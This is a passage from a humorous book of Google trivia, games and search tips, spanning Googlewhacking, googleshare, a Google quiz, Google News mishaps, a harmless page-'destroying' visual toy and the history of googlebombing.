Singel, AC Zimi, Kyle K., Ionut Alex. Chitu, Aaron Wall and Esben Fjord.
55 Ways to Have Fun With Google
50
A Pac-man crop-circle spotted on Google Maps!
15. Dave Gorman’s Googlewhack
51
15. Dave Gorman’s Googlewhack
Dave Gorman is a comedian who goes to great lengths to get material
for his show and books – in fact, he would probably go to any length to
get material. And that includes traveling around the world meeting
complete strangers because of a truly wacky (and fun) idea. But let’s
start at the beginning, with a seemingly innocent email Dave received.
Dave, 31, and possibly in an early mid-life crisis, wanted to write a
novel. I guess it wasn’t real writer’s block that kept him from doing so:
it was his computer. Dave in his show tells of a truly life-changing
incident:
“Jake [the publisher] lied to me. Jake said it’s just you, your
imagination, and your computer. That’s not strictly speaking
true! My computer is attached to the internet. The internet
contains everything in the whole wide world ever. I don’t know
about you, but I find everything in the whole wide world ever to
be a bit distracting! I would sit there at the computer
thinking… Right, here we go, Chapter one! Aahhhh.... just
as soon as I’ve checked my email!”
Dave continues to tell that he receives more emails than he could ever
read – not just from friends, family and colleagues, but complete
strangers as well. One of these emails in particular captured his
attention. The email contained very little, and even less that Dave
understood. All it read was:
55 Ways to Have Fun With Google
52
G’day Dave,
Did you know you’re a Googlewhack?
Steve
No, as a matter of fact, Dave didn’t know! But a little explanation is
necessary in case you never heard of the word “googlewhack.” In a
nut-shell, a Googlewhack happens whenever you enter two words into
Google and you receive exactly one result. A Google result containing not
two, nor a thousand, and not zero, but exactly a single web page. Now
there are some more rules to it – your words must be contained in a
dictionary, and the result pages themselves may not be dictionaries –
but that’s about it. And in case you never tried, scoring a Googlewhack
is not as simple as it sounds (there are websites dedicated to nothing
else but googlewhacking, and listing those who found a Googlewhack
first [www.googlewhack.com]).
So when Dave was informed that he himself in fact was a
“Googlewhack,” he was stunned. The explanation, as he later got to
understand, was that one of Dave’s own web pages contained those
two words someone else had entered to score a Googlewhack. Of all
the pages in the whole wide world! What might be even more
improbable: when Dave met with googlewhacking stranger Steve a
while later in London, Steve ended up trying to find a new
googlewhack on Dave’s computer, and found one on a page owned by a
friend of Dave who lived in France. Dave says this struck him as an
incredibly fascinating coincidence, “since there are three billion sites on
Google, and I don’t have three billion friends.”1
And then, Dave caught the Googlewhack fever. Several googlewhacks
and a crazy bet with his friend from France later, Dave went on a
mission around the world to hunt googlewhack page owner after page
owner. How that works? Simple: Dave considered himself to be a
person who was found by a perfect stranger via a Googlewhack. Now
he wanted to know if he could continue finding others via a
Googlewhack all the same, and he aimed to do so in 10 successions
before his next birthday. He would look up the contact address
contained on a web page at which he found a Googlewhack, and
would then travel trying to meet this person (via airplane, taxi, train or
whatever mode of transportation it would take). He would then ask
this person to try out to score a Googlewhack herself, and if that
15. Dave Gorman’s Googlewhack
53
would be successful, he would continue traveling to the person found
on that new Googlewhack page.
While the concept of Dave’s Googlewhack adventure may sound simple,
executing it wasn’t. First of all, not every page Dave found contained a
contact address. Also, not everyone wanted to meet him, or
googlewhack for him. And there was a good chance that person, even
though willing to help out, wasn’t able to find another Googlewhack. All
in all, as Dave puts it, “Googlewhacking has taken me around the
world. Three times. I’ve played table tennis with a nine year old boy in
Boston, and I’ve been way too familiar with some snakes in LA. I’ve
met mini-drivers in North Wales and hippies in Memphis.”2 Now I
won’t spoil the ending, so if you want to find out if Dave was
successful or if he lost this bet with his French friend, take a look at
the book or fun DVD of the live show (www.55fun.com/15.1). In the
meantime, you might want to try finding a Googlewhack yourself... or
send Dave another email. Who knows what might happen?
End Notes
1. Barratt, A. World wide whack. (2004). (www.55fun.com/15.3)
2. Googlewhack Adventure homepage. (davegorman.com/googlewhack.htm)
55 Ways to Have Fun With Google
54
16. Google Q&A
Google Q&A is a fun answer feature built directly into the
Google.com web search. It answers certain questions right above the
search result, so there’s no need for you to visit a web page – the
answers themselves are extracted from web pages.
You haven’t seen this before? Give it a try by entering the following:
Albert Einstein birthday
Above the web page results there will now be a box reading:
Albert Einstein – Date of Birth: 14 March 1879
This works with a whole lot of search queries. You can even enter Who
is Clark Kent ... and have Google reveal to you “Clark Kent is the
civilian secret identity of the fictional character Superman.” All of the
following yield direct Questions & Answers results (note the answers
are not always correct!):
Population of Germany
President of USA
President of France
Birthday of George Bush
Birthday of Albert Einstein
What is the birthday of Albert Einstein?
Who was President of the USA in 1996?
When did Isaac Asimov die?
Isaac Asimov date of birth
Isaac Asimov birthday
What is the birthplace of Bono?
Bono birth place
Who is Prime Minister of England?
Where is the Eiffel tower
Where is the Statue of Liberty
When was Star Wars released?
Who is the Queen of the United Kingdom?
Who wrote the Hitchhiker’s Guide to the Galaxy
Catch-22 author
16. Google Q&A
55
Permutated Sentences
Before Google’s Q&A feature, a fun way to find instant facts was to
move around the words of a question sentence until you hit on an
answer. To explain, let’s say your question is “When was Albert Einstein
born?” We remove the first word, “when”. We’ll now do a search for
the several possible rearrangements of the words, and check the Google
page count for each:
• “Albert was Einstein born” (0 results)
• “born was Albert Einstein” (0 results)
• “Albert Einstein was born” (17,500 results)
• “Albert was born Einstein” (5 results)
... and so on.
The one phrase search of these returning the most results is our “fact
finder.” In this case it would almost certainly be “Albert Einstein was
born”, and the continuation of this sentence contains our answer. This
can be automated, but takes a while as going through all permutations
requires many Google searches. FindForward’s “Ask Question” search
(findforward.com/?t=answer) returns the following answer (you can see there
are some left-overs from the snippet which aren’t meaningful in this
context):
1879, Albert Einstein was born on March 14, 1879
German born American physicist who developed the
special and general theories of relativity.
55 Ways to Have Fun With Google
56
17. Celebrate Google Non-Weddings, and
More
Christophe Bruno is surely having fun with Google, in his own ways.
He’s an artist, and many of his projects are based on the internet – and
Google. In 2002 he released the “Google AdWords Happening” onto
the world. AdWords are Google’s small advertisement boxes displayed
next to search results.... and Christophe used (or abused) them to show
nonsensical messages like “mary !!!/ I love you/ come back/ john.”
Also in 2002, Christophe created the Non-Wedding page
(unbehagen.com/non-weddings/). Don’t expect to necessarily understand its
purpose – it’s art. You can enter any two names into its two boxes, like
“Peter” and “Mary,” and click “Celebrate a non-wedding” on the top of
the page. What happens then? Well, based on the names you entered,
Christophe will simply load two different images via Google Images.
Like here:
Spelling Words With Google Images Letters
This isn’t the only way to combine Google images in interesting ways.
You can also try to create a word by searching for its letters. For
example, when you want to spell “Hello,” you search for “letter h”, “letter
17. Celebrate Google Non-Weddings, and More
57
e”, and so on (including quotes), and always take the first image which
displays the respective letter. If a letter is repeated, you choose the
second image. Here’s the result for spelling “Hello” with Google image
results:
Create a Google Rebus
Instead of spelling words by their letters, you can also “spell” words by
their individual parts. This makes for a good riddle to present to
someone. For example, when you want to spell “lovesick” you search
for “love” and “sick” and put the two result images next to each other;
your friend then should guess what the word means.
Other words for this “Google Rebus” game include: “walkman,”
“stronghold,” or “happiness.” (Search for “happy” and “ness” – the
first part will result in a happily laughing baby, the second in the
monster from Loch Ness!)
The Google Images Storyteller
Want to turn complete paragraphs into visuals? You can, with the
Google Images Storyteller (blog.outer-court.com/story/). You type a
sentence – a poem, or song lyrics, or anything else – into the input box,
hit submit, and it will automatically search Google Images to create a
story made up of visuals only.
55 Ways to Have Fun With Google
58
18. Design Your SketchUp Dream House
Google SketchUp is a 3D tool for creating architecture and other 3D
models. Architects like it to prototype buildings, but the software is so
easy to use that anyone can have fun with it. After you download
SketchUp (sketchup.google.com) and follow through a hands-on tutorial
(which might take you as little as 15-30 minutes) you are ready to go
and design your own house. And why not make it your dream house?
Now this part of the book will live online: Send the SketchUp file
of your finished dream house to philipp.lenssen@gmail.com, include
your name, location, and a small description of your house and your
creation will appear on www.55fun.com/house/
19. Kevin Bacon and the Google Network
59
19. Kevin Bacon and the Google Network
You probably heard of the Six Degrees of Kevin Bacon game. The
objective is to find a way to get from any actor to Kevin Bacon in six
steps or less. For example, Sean Connery has a Bacon number of 2
(Sean Connery was in Wrong Is Right with Myron Natwick, who was in
Cavedweller with Kevin Bacon). That’s possible because Kevin Bacon
stars in a whole lot of movies. But is he really the center of
Hollywood?
I tried to find out if Kevin Bacon’s network is indeed as dense as the
Six Degrees game suggests. And of course, I used Google for that.
Here’s what I did, and you can try the same; I picked a list of 50
random famous actors, including Kevin Bacon, and searched Google
trying to find out if any two of the actors on the list were in a movie
together. Of course, this isn’t statistical correct proof. But it’s fun.
Here’s an example of a search query:
“Sean Connery and Julia Roberts” OR “Julia Roberts and Sean Connery” -degrees
This will return all pages with either the first or second phrase in them.
(I exclude pages with the word “degrees” because I don’t want to hit
on pages where people played the Six Degrees game, as that would
give Kevin Bacon an unfair advantage.) Whenever over 500 results
have been found, I will count this as a “hit.”
The following map shows all hits combined into a social network1.
Some actors of the 50 I included in the game actually didn’t make the
list because they had no connection at all – like Humphrey Bogart.
55 Ways to Have Fun With Google
60
What does the map show? For one thing, that Kevin Bacon is not the
center of the Hollywood universe – at least not using this (nonrepresentative)
sample. Instead, Julia Roberts, Johnny Depp and Tom
Cruise seem to be the most connected. On the other hand, you can
also see that it’s easy for almost everyone on the list to get to Kevin
Bacon in six steps or less.
19. Kevin Bacon and the Google Network
61
A Network of Everything
How well does this approach of visualizing a network fare with
something other than actors? We can also use it to find connections
between any two things. For example, we can create a network of
connections between things and their categories. To create the
following image, I used the words Britney Spears, apple, horse, speakers,
piano, violin, carrot, and orange. As categories I used food, actor, movie, book,
song, album, company, band, tool and a few more. I applied a threshold of
50 Google results to count something as connection, and I used glue
phrases like “is a”, “are an” and so on:
You can see Britney Spears is a celebrity singer. “Apple” is an ambiguous term,
meaning both the company, and the fruit.
End Notes
1. The visuals are created using Sun’s GraphLayout tool.
55 Ways to Have Fun With Google
62
20. The Google Alphabet
Can you guess the top Google search result for the letters of the
alphabet? For example, when you search for “a”, the top Google result
is Apple Computer Inc (naturally, the top result changes over time).
Simply note down the first company, organization, software, person or
product you can think of below:
A: Apple Computer Inc
B: ________________________
C: ________________________
D: ________________________
E: ________________________
F: ________________________
G: ________________________
H: ________________________
I: ________________________
J: ________________________
K: ________________________
L: ________________________
M: ________________________
N: ________________________
O: ________________________
P: ________________________
Q: ________________________
R: ________________________
S: ________________________
T: ________________________
U: ________________________
V: ________________________
X: ________________________
Y: ________________________
Z: ________________________
Solution
Apple Computer Inc, B’Tselem, C-SPAN, D-Link, E! Online, F-Secure, Gmail, H-Net, iTools,
Jennifer Lopez, K Desktop Environment, Council of Europe portal, Texas A&M University,
SBC Knowledge Network Explorer, O’Reilly Media, PFLAG.org, Q4music.com, The R Project
for Statistical Computing, McDonald’s, T-Mobile, whatUseek Web Search, V-Day, President
George W. Bush, X.Org, Yahoo! Messenger, Z Communications. (This is from 2005 – results often
change.)
21. Google Search Tips
63
21. Google Search Tips
How do you have more fun when searching? Simply: become a better
searcher. Here are some syntax basics as well as advanced tricks or bits
of trivia for searching with Google.com:
A quote/ phrase search can be written with both quotations “like this”
as well as a minus (or dot) in-between words, like-this.
Google didn’t always understand certain special characters like “#”, but
now it does; a search for C#, for example, yields meaningful results.
Note that not every character works yet.
Google allows 32 words within the search query (some years ago, only
up to 10 were used, and Google ignored subsequent words). You rarely
will need so many words in a single query – just thinking of such a long
query is a hard thing to do, as this sentence with twenty words shows. However, it
can come in handy for advanced or automated searching.
You can find synonyms of words. E.g. when you search for house but
you want to find “home” too, search for ~house. To get to know which
synonyms the Google database stores for individual words, simply use
the minus operator to exclude synonym after synonym. Like this:
~house -house -home -housing -floor
Google has a lesser known “numrange” operator which can be helpful.
Using e.g. 2000..2006 (that’s two dots in-between two numbers) will
find 2000, 2001, 2002 and so on until 2006.
55 Ways to Have Fun With Google
64
Google’s “define” operator allows you to look up word definitions. For
example, define:nasa yields “National Aeronautics and Space
Administration” along with many more explanations. You can also enter
what is nasa for similar results.
Google searches for all of your words, whether or not you write a “+”
before them. Therefore, writing queries +like +this is not really
necessary.
Sometimes, Google seems to understand “natural language” queries
and shows you so-called “onebox” results. This happens for example
when you enter goog, weather new york, ny, war of the worlds (for this one,
movie times, move ratings and other information will show), or beatles
(which yields an instant discography).
Not all Googles are the same! Depending on your country, Google
might forward you to a different version of Google with potentially
different results to the same query. For example in Germany and
France, certain results are censored for a long time now. In early 2006,
Google decided to self-censor Chinese search results (such as web
pages of human rights organizations) in compliance with Chinese
government requests – which not only resulted in an oddly skewed
Google.cn, but also a public outcry from both diehard fans and
organizations such as Reporters Without Borders.
For some search queries, Google uses its own search result
advertisement system to offer jobs. Try entering work at google and
sometimes, you find job offers straight from Google.
Some say that whoever turns up first for the search query president of
the internet is, well, the President of the internet. Take a look at the
results for this search to find out who’s currently ruling you!
Can you guess why the Disney homepage is in a top 10 search result
position when you enter “Exit”, “No”, or “Leave” into Google? Try it
out, you’ll be surprised (I won’t spoil here why this is happening, but it
has something to do with adult websites).
Google doesn’t have “stop words” anymore. Stop words traditionally
are words like “the”, “or” and similar which search engines tended to
ignore. Nowadays, Google includes all of your words, even the former
stop words.
You can use the wildcard character “*” in phrases. This is helpful for
finding song texts – let’s say you forgot a word or two, but you
remember the gist, as in "love you twice as much * oh love * *." You can
21. Google Search Tips
65
even use the wildcard character without searching for anything specific
at all, as in this search: "* * * * * * *."
The following search tip, on the other hand, you better not follow. But
you may sing along…
When it’s late at night
And you’ve an essay due
And you don’t know what to write
I’ll tell you what to do
Before sunrise
Find something to plagiarize
on Google
Talkin’ ‘bout Google..”
– Mort, The Google Song
55 Ways to Have Fun With Google
66
22. Googlepark
Following is Googlepark: Scoble goes to Google (www.55fun.com/22) courtesy
of Jamie Grant (Robert Scoble is a Microsoft employee with a popular
blog).
22. Googlepark
67
55 Ways to Have Fun With Google
68
22. Googlepark
69
55 Ways to Have Fun With Google
70
22. Googlepark
71
55 Ways to Have Fun With Google
72
22. Googlepark
73
55 Ways to Have Fun With Google
74
22. Googlepark
75
55 Ways to Have Fun With Google
76
23. Googleshare
Googleshare (also called mindshare) is one of the most powerful
approaches to have fun with mining the web for data, and answers.
Here’s how it works; when you enter a single term or phrase into
Google, you get a certain page count. For example, you enter “Rolling
Stones” as phrase search and Google tells you there are about
10,500,000 pages on the web containing this phrase. Now you combine
this query with one of the Rolling Stones singers, searching for:
“Rolling Stones” “Mick Jagger”
This results in 1,470,000 pages. The percentage the second value has in
relation to the first is its “googleshare.” So Mick Jagger has a
googleshare of 14% with the Rolling Stones. This is very high; Keith
Richards only has a Rolling Stones googleshare of 5%. This makes
Mick Jagger the most popular in the band. Peter Smith, on the other
hand, has a googleshare of only 0.006% with the Stones – because he’s
not a band member, of course.
Here are some more googleshare examples:
Full House:
Ashley Olsen 1.46%
John Stamos 1.07%
Bob Saget 1.04%
Mary-Kate Olsen 0.97%
Dave Coulier 0.58%
Jodie Sweetin 0.56%
Tom Cruise:
Nicole Kidman 20.80%
Katie Holmes 16.34%
Penelope Cruz 7.51%
Mimi Rogers 0.57%
Harrison Ford:
23. Googleshare
77
Star Wars 14.97%
Firewall 8.98%
Blade Runner 4.06%
Raiders of the Lost Ark 2.78%
The Fugitive 2.12%
Indiana Jones and the Last Crusade 1.43%
American Graffiti 1.13%
Six Days Seven Nights 0.9%
Regarding Henry 0.55%
The Mosquito Coast 0.5%
We can also find the googleshare for a specific year and an event. For
example, we can determine the googleshare for 1950 and “Disco,”
1951 and “Disco,” and so on for all years until 2005. We then
normalize this data by taking into account that some years are
represented more often on the web (for example, the year 1960 on its
own appears more often than the year 1961). What we get as result is a
peak year which shows us when this fad or person was on the height
of its fame, or when an event happened. I’ve created a tool called
“Centuryshare” as part of the FindForward search engine
(findforward.com/?t=century) which helps visualize this data:
55 Ways to Have Fun With Google
78
As you can see, you can determine the googleshare for anything and
everything, really. Douwe Osinga, who currently works at Google
Zürich, created a project called “Land Geist” (see www.55fun.com/23.2 –
back then Douwe actually used search engine AllTheWeb, not Google,
to compile his data). Land Geist features different maps for different
words, like “holiday,” “rice” or “poverty.” The most popular countries
for holidays according to Land Geist are Mauritius, Cyprus and Spain.
Determining the “countryshare” for “Islam,” on the other hand,
returns Saudi Arabia, Afghanistan and Iran as top contenders.
The “countryshare” map for the term “holiday” (the darker the country, the higher
its googleshare). Courtesy of Douwe Osinga.
24. The Shortest Google Search (and the One Returning the Most Results)
79
24. The Shortest Google Search (and the One
Returning the Most Results)
Can you find the shortest Google search that doesn’t return any
results, using only the letters a-z (no Umlaute or accented characters)
and the numbers 0-9? How many letters will you need? For example,
you can enter “d8” into Google. It’s only two letters, so it’s very short.
But whoops – it returns nearly 5 million pages! Or search for
“njd2we9e2.” That returns no results... but it’s also 9 letters long. Can
you make a short search with no pages at all found on the web?
Answer: _______________________
Page count: _______________________
Also, can you find the Google search returning the most results?
You are allowed to use any character at all (not only letters from a-z
and numbers). Let’s say you search for Beatles. More than 16 million
results. Not bad already. Or search for USA. That’ll be over 1 billion
result pages, as Google tells you. That’s better, but you can go even
higher than that. Which single search query finds the most result
pages?
Answer: _______________________
Page count: _______________________
55 Ways to Have Fun With Google
80
25. Google Rotated and Mini Google
“Mini Me, if I ever lost you I don’t know what I would do. (pauses)
I would probably move on, get another clone but there would be a 15
minute period there where I would just be inconsolable.”
– Dr. Evil, Austin Powers: The Spy Who Shagged Me
Both of the following fun ways to browse Google need the Internet
Explorer browser, so feel free to skip this chapter if you’re using
Firefox or any browser other than Internet Explorer.
Google Rotated (blog.outer-court.com/rotated/) shows you the normal,
actual Google (with all of its functionalities)... except that everything’s
rotated 180°. Including the Google homepage, the search results, and
even the web pages you click on in the results. When people visit
Google Rotated they’re usually either trying to adjust their monitor, or
bend their neck leftwards.
Google Rotated... it’s another way to look at search.
25. Google Rotated and Mini Google
81
Mini Google (blog.outer-court.com/mini.html), on the other hand, doesn’t
make you bend your neck. Then again, it may make you move your
face really, really close to the screen... ‘cause it’s tiny. About the size of
your thumbnail. Good luck searching for something with Mini Google,
and good luck hitting on a search result page – as a bonus, if you
managed to do that the page you clicked on will be mini too!
Google Mini. Small, but fun!
55 Ways to Have Fun With Google
82
26. The Google Quiz: How Much Do You
Know About Google?
Are you a Google expert? Do you know everything about the company
and its services? Or are you still new to the topic, and you only used
their search engine for a couple of times so far? Well, you can put your
knowledge to the test in this quiz which will answer the question: How
much do you know about Google? Get a pencil and cross the single
right answer for every question, and calculate your score afterwards.
1. Google Inc. was founded in ...
a) 1996
b) 1998
c) 2000
2. Google Inc. was founded by ...
a) Sergey Page and Larry Brin
b) Eric Schmidt and Larry Page
c) Larry Page and Sergey Brin
3. Which search operator does Google enable by default?
a) The AND operator
b) The OR operator
c) The NOT operator
4. Google once used Yahoo’s search result to feed its engine.
True?
a) Yes, from 1998-2000.
b) No, it was the other way round – Yahoo used Google once.
c) No, Google and Yahoo never had any search relationship.
5. Google Analytics is a service to ...
a) Check if your web pages validate
b) Check how many people visit your web pages
c) Check your Google PageRank
26. The Google Quiz: How Much Do You Know About Google?
83
6. In 2006, Eric Schmidt is Google’s ...
a) Vice President Engineering
b) Eric left the company in 2004 to pursue his hobbies
c) Chief Executive Officer
7. What was the name of the search engine the Google founders
developed before Google?
a) PageRanker
b) BackRub
c) Gogol
8. What is the algorithm behind Google’s PageRank?
a) The more pages link to you (and the higher their PageRank), the
higher your page’s PageRank
b) You get 1 PageRank point for every web page you own
c) The algorithm behind PageRank is kept secret, similar to the Coca-
Cola formula
9. Why do some sites get “banned” from the Google index?
a) They tried methods to get their pages ranked better which Google
considers spam
b) They have content which is illegal in this state/ country
c) Both a) and b) are true.
10. At which university did the Google founders meet?
a) Oxford University
b) MIT
c) Stanford University
11. What is the “Googleplex”?
a) It’s where Google employees work
b) It’s a solar system which shares only the name with Google.com
c) It’s the server farm Google built up to deliver search results to you
12. Which words are printed on the Froogle homepage?
a) Search for any product you want (or discover new ones).
b) froo·gle (fru’gal) n. Smart shopping through Google.
c) Froogle. Just shopping.
55 Ways to Have Fun With Google
84
13. Around how many hits do you get for the word “Hello” (in
2006)?
a) 420,000 pages
b) 420,000,000 pages
c) 42,000,000,000 pages
14. If you want to find a place to grab a pizza, you go to ...
a) Google Food
b) Google Places
c) Google Local
15. At the Association of National Advertisers annual conference
in October 2005, who said Google will take 300 years to fulfill its
mission to index the world’s data?
a) Eric Schmidt
b) Larry Page
c) Marissa Mayer
16. What colors do the letters of the Google logo have, from left to
right?
a) Red – Blue – Green – Yellow – Green
b) Blue – Red – Yellow – Blue – Green – Red
c) Blue – Yellow – Purple – Yellow – Red – Blue
How well did you do?
Calculate your points by adding 10 points for each question you answered like
the following: 1 - b, 2 - c, 3 - a, 4 - b, 5 - b, 6 - c, 7 - b, 8 - a, 9 - c, 10 - c, 11 - a, 12 -
a, 13 - b, 14 - c, 15 - a, 16 – b.
0–50 points: Though you have a mild interest in Google, you’re new to the
topic. Maybe you prefer other search engines, or you’re not using the web for a
lot of tasks. You have yet to learn how to become a power searcher, but you’re
on your way.
60–110 points: You already understand more than just the basics of how
Google works. Using your search power, you can locate almost anything you
want. You are likely making good use of Gmail, Google News, and other
Google services.
120–160 points: Consider yourself a Google guru. In fact, with your knowledge
you could write a book like this. Chances are you are reading a lot of news
26. The Google Quiz: How Much Do You Know About Google?
85
articles on Google, and you know the ins and outs of its services. You probably
use Google on a daily basis for many years now.
55 Ways to Have Fun With Google
86
27. Recreate Google From Memory
Before you flip to the next pages, try something: take pen and paper,
and recreate Google from memory. Try to sketch every link and other
detail from the Google homepage just as you remember it. When
you’re done, take a look at what some other people created faced with
the same task – and then finally take a look at the actual Google
homepage!
Which parts of the Google homepage did you get right, and which did
you get wrong – and can you imagine why?
27. Recreate Google From Memory
87
55 Ways to Have Fun With Google
88
By Jordan Hamer
By Jack Hynes
27. Recreate Google From Memory
89
By ¥€$... I got a feeling the artist wasn’t motivated!
By Splasho
55 Ways to Have Fun With Google
90
By Joe
By Luka
28. The Strange World of Google News
91
28. The Strange World of Google News
Google News is Google’s automated news polling machine. It will
display whatever it thinks is important today based on what other news
sources write. The fact that it’s automated may make it more objective
(even though the included sites are still picked manually, and in the case
of China, the local government has a word to say in it too), but at times,
the Google machines get it wrong. They put the false image next to a
news story, or the snippet doesn’t fit with the headline – or the story’s a
hoax, like when Google News in November 2003 announced that
Google Inc had been bought by food giant Nestlé (“Nestlé says Google
will be renamed NesGoogle and have a recipe section added to its main
page”). I’ve collected some of the examples of the past here – it’s good
the Google computers don’t have human feelings, because they sure
would feel guilty now.
The snippet1 says a Toronto tax accountant won the largest slot-machine jackpot in
Canadian history – $5!
55 Ways to Have Fun With Google
92
The Exorcist prequel from 2004 made $18 on the opening weekend.2 That’s even
better than winning a $5 lottery jackpot!
Who is Arnold Suarseneguer? (From Google News Spain in October 20033.)
This interesting headline4 is the top news for Google in July, 2005!
28. The Strange World of Google News
93
“Did you mean: Samurai Ali?”2
The photo next to the headline “Floriday Keys to welcome tourists” shows a flooded
area. Kenny5 says, “I’d wait for the water to go down first...”
55 Ways to Have Fun With Google
94
Is it coincidence that Steve Jobs and the chimpanzee use similar gestures?6
A refreshingly personal view on today’s news2...
28. The Strange World of Google News
95
This headline and snippet7 from Google News Germany suggest that a German has
been killed in Iraq. Formula 1 driver Michael Schumacher shown to the right is
German, but he’s also alive.
Bill Gates is part of the Google duo?
This was the actual Google top story on December 2004 when George Bush visited
Canada (Google incidentally picked up a satire piece).
55 Ways to Have Fun With Google
96
Google News picks up satire, once more8...
Grant Shellen, who posted this screenshot9, says, “The importance of our punctual
friend the colon is clearly evident here, when its absence makes it seem as though
ABC News is getting a bit too aggressive in its coverage.”
28. The Strange World of Google News
97
Hmmm...the picture to the right reads “Hilton.”10
OK, this one is fake! It was created as part of the “Goodle” homepage11 showing
good news only.
55 Ways to Have Fun With Google
98
I admit it, this one’s fake too. It’s Paul’s completely personalized Google News circa
2031, covering nothing but... Paul himself.
28. The Strange World of Google News
99
Sometimes, it’s just the way two stories are composed side-by-side13 which gives new
meaning not intended by either story.
End Notes
1. Via Stéfan Sinclair. (www.stefansinclair.name)
2. Via Craig S. Cottingham. (xcom2002.com/doh/)
3. Via Caspa.tv. (www.caspa.tv)
4. Via SecurityTribune. (securitytribune.com)
5. Via Kennry. (www.55fun.com/28.5)
6. Via Eric Lebeau. (zorgloob.com)
7. Via Dr. Web. (drweb.de)
8. Flickr. (www.55fun.com/28.8)
9. Via Grant Shellen. (www.55fun.com/28.9)
10. Via Jennifer. (jennifermonk.com/blog/)
11. Goodle. (www.55fun.com/28.11)
12. Aberson. (www.55fun.com/28.12)
55 Ways to Have Fun With Google
100
29. Aliens Attack Google!
Do you wish to see a full-scale alien attack take place on the Google
homepage? You can! In fact, not only does Netdisaster
(www.netdisaster.com) allow you to destroy Google.com, you can destroy
any other web page – in a multitude of ways, too. You can send
meteors, flood it, nuke it, shoot it, paintball or chainsaw it, send God
onto the page, cover it with flowers, or terrify it with a horde of flies,
wasps, snails, worms and dinosaurs. If you’re not the aggressive type,
you can also just spill some coffee on the page instead...
An alien laser burns semi-permanent holes into Google.com.
I asked creator Denis Rionnet from Lyon, France, how he got the idea
for this tool. Denis tells me, “A few years ago, I started programming
an online tool that allows users to turn any site into some African
witch-doctor advertisement. ... So, people have fun with this tool and
send the link to each other. But that’s only for French speaking
persons! So one year ago, I was wondering if I could find another idea
of a tool that would interact with any site in a more visual way.”
Denis goes on to say that, after making sure his idea of weapons and
plagues “destroying” any target site was technically possible, he worked
hard on the site hoping people would enjoy it. And it did have an effect
on people, but with some surprising results.
Not everybody understands how Netdisaster works; that basically, it’s
just a bunch of visual effects without actual consequences for the
29. Aliens Attack Google!
101
target site. Some of the users wondered if they were staying
anonymous during the attack, and also asked if the attacked site was
harmed. Denis says, “Someone wrote to me once, because a site got
out of order right after he had targeted it with Netdisaster – the server
of this site was just down, coincidentally. He couldn’t believe that
Netdisaster was not to blame at all, and urged me to do something
about it!”
Google is currently being flooded... the fish at the bottom seem to enjoy it.
Meteors rain down on Google...
55 Ways to Have Fun With Google
102
30. Top Ten Signs You Are Addicted to
Google
10. Your kids still believe the Googlebot is bringing the Christmas
presents.
9. When someone asks “How are you?” you mouse-click in mid-air at
them and say “I'm feeling lucky.”
8. You shout at the librarian when she takes more than a tenth of a
second to find your book.
7. You just lost a case in court to name your newborn son “Google.”
6. Google is your second-best friend... and you're thinking maybe it
should be first.
5. Your Google shirt is losing color.
4. When people talk to you, you try to optimize their keywords.
3. Your last three Sunday family trips have been to the Googleplex.
2. You are convinced “What’s your PageRank?” is a good pick-up line.
And the number one sign you are addicted to Google:
1. You are completely clueless without a computer.
31. Dig a Hole Through Earth
103
31. Dig a Hole Through Earth
“I wonder if I shall fall right through the earth! How funny it’ll seem to come
out among the people that walk with their heads downward! The antipathies,
I think—” (she was rather glad there was no one listening, this time, as it
didn’t sound at all the right word) “—but I shall have to ask them what the
name of the country is, you know. Please, Ma’am, is this New Zealand? Or
Australia?” (and she tried to curtsey as she spoke—fancy, curtseying as
you’re falling through the air! Do you think you could manage it?) "And
what an ignorant little girl she’ll think me for asking! No, it’ll never do to
ask: perhaps I shall see it written up somewhere.”
– Lewis Carroll, Alice in Wonderland
Have you ever wondered where you would end up if you dug a hole
right through earth? Wonder no more (at least if you got an internet
connection): Luís Felipe Cipriani from Brazil developed a website
(www.55fun.com/31.1) based on Google Maps which lets you click on any
starting point on the globe. A small info box pops up on which you can
click “Dig here.” Afterwards you discover the location you would come
out at the other end.
I’ve asked my friend Justin Pfister (blog.justinpfister.com) if he knew some
cool places to dig. Indeed, he did!
55 Ways to Have Fun With Google
104
The only place to dig through the center of the Earth and
land in China is the central west half of South America.
The Upper half of Chile would be a great place to start.
What if Darwin explored downward by digging a giant hole
in Galapagos? He’d end up off the coast of Sri Lanka in
the Indian Ocean.
Does Stonehenge have an important location on the other
side of the Earth? That depends how important you think
the coast of New Zealand is.
What if everyone in the United States started digging huge
holes? They would all end up in the Indian Ocean.
What if the people in Australia wanted to go “down under”
too? They would all find themselves in the Northern
Atlantic Ocean.
If the Lost City of Atlantis is still sinking through the
center of the Earth, where might it come out? It would
pop up in or around Australia. Could it be that Australia is
the Lost City of Atlantis?
If Japan really starts to run out of space and begins
building skyscrapers that go into the ground, they might
eventually poke out near Brazil.
During the Cold War, if some people in Russia built some
very deep bomb shelters, they would have ended up on the
Southern Ocean near Antarctica.
What if the people in Iraq dig too deep into the Earth in
search of oil? They will end up in the Pacific Ocean.
32. Googlebombing
105
32. Googlebombing
A googlebomb is when a group of people get together trying to push a
site up the Google rankings… a site which seemingly doesn’t belong
there. To do that, they all use the same link text when linking to the
specific site – trying to make Google think the words in the link are
indeed relevant to the page.
Probably the most well-known “Googlebomb” was for the phrase
miserable failure. It would lead to the official biography of President
George W. Bush on the White House servers. The effect is particularly
convincing when you ask people to first enter miserable failure, and then
press the “I’m feeling lucky” button; they will be referred to the top
result directly, and some even thought Google expressed political
beliefs here. Of course that’s not true – Google only created the
algorithms that now run automatically, and from time to time, get
abused to discredit people or organizations. Google’s only editorial
decision in cases like these is to display small disclaimers close to
googlebombed search results, and educate people on what’s happening.
A reply posted to their official Google Blog1 was:
We don’t condone the practice of googlebombing, or any
other action that seeks to affect the integrity of our search
results, but we’re also reluctant to alter our results by hand
in order to prevent such items from showing up. Pranks
like this may be distracting to some, but they don’t affect
the overall quality of our search service, whose objectivity,
as always, remains the core of our mission.
55 Ways to Have Fun With Google
106
But the failure bomb against George Bush (which was quickly receiving
a counter-googlebomb targeting director Michael Moore) wasn’t the
first one to appear on the search scene. Adam Mathes of the Über blog
is credited with the invention of the Googlebomb. In his blog on April
6, 2001, he wrote:
Today, uber readers, you have a chance to make history.
Or at least legitimize some new jargon I’m about to make
up.
Today’s jargon of the day is:
GOOGLE BOMBING
Adam continued to explain the philosophy behind Googlebombs,
which was backriding on the philosophy of Google itself:
In a bizarre surreal bow to the power of perception on the
web, what you say about a page becomes just as important
as the actual content of the page. The page must be what
other people say it is. That Google adheres to this rule and
is by far the most effective search engine raises many
interesting issues, none of which I will attempt to discuss
or explicate.
